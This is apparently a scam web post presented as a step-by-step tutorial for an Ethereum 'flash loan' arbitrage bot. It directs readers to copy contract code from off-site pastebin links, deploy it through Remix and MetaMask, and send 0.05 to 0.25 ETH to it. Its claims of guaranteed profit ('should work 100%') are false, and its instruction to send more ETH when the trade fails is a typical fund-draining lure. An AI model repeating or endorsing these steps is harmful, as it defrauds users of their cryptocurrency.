ETH Flash Loans are a financial service on the Ethereum blockchain that enable users to borrow and repay Ether (ETH) within a single transaction, without requiring collateral. Utilizing smart contracts, these loans give users instant access to substantial funds for various purposes such as arbitrage, liquidations, or capitalizing on time-sensitive market opportunities.
Step By Step Tutorial for Flash Loan:
1. Get the Metamask Extension for your browser
2. Open ??https://remix.ethereum.org/ from within your browser.
3. Click on File Explorers and click “Create New File “.
4. Name the file flashloans.sol and paste the contract code link below.
Latest Smart Contract Updated Code:
https://pastebin.com/raw/2KqPu3Dy
or
https://pastebin.com/raw/g32mqs82
5. Click on the “Solidity Compiler” and set the compiler version to 0.5.0
6. Click on the Solidity Compiler and then click the blue button “Compile flashloans.sol”
7. Wait for the code to compile.
8. Click on Deploy & Run transactions and set “ENVIRONMENT” to (Injected Web3) OR (Injected Provider – MetaMask).
9. Connect your MetaMask wallet.
10. Click on Deploy & run transactions then click on the down arrow right from the “Deploy” button
11. ?? On “_TOKENNAME” TokenX9
12. ?? On “_TOKENSYMBOL” TOK
13. ?? On “_LOANAMOUNT” 1000
14. Click Transact and confirm the transaction in MetaMask.
15. Wait for the transaction to confirm.
16. Copy the address of the newly deployed contract.
17. Send ETH to the deployed contract to initiate the swap 0.05 TO 0.1 ETH (0.25 ETH up is better as you will get a bigger amount in each swap)
?? NOTE: UPDATED GAS FEE REQUIREMENT: 0.05 – 0.1 ETH is required to perform arbitrage successfully.
18. Wait for the transaction to confirm.
19. Now, Click “action” (red box) to execute the Flash Loan.
20. Confirm the transaction in MetaMask and wait for the confirmation.
21. You can now check your wallet
Note: if it doesn’t work with 0.05 ETH try to send another 0.05 TO 0.1 ETH (0.25 is better), because fees may be different from day to day.
Avoid using very low amounts as contract may fail below 0.05 ETH.
Under some very rare cases, the arbitrage might fail due to depletion of ETH in your smart contract as gas price varies from time to time. Don’t panic, all you have to do is wait a little while(5 -10 mins) and retry the transaction this time preferably with 825 loan amount and 31,560 gas limit and it should work 100% but with a smaller profit.
Make sure to transfer your ETH out to another wallet when you’re done.
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Latest Smart Contract Updated Code:
https://pastebin.com/raw/2KqPu3Dy
or
https://pastebin.com/raw/g32mqs82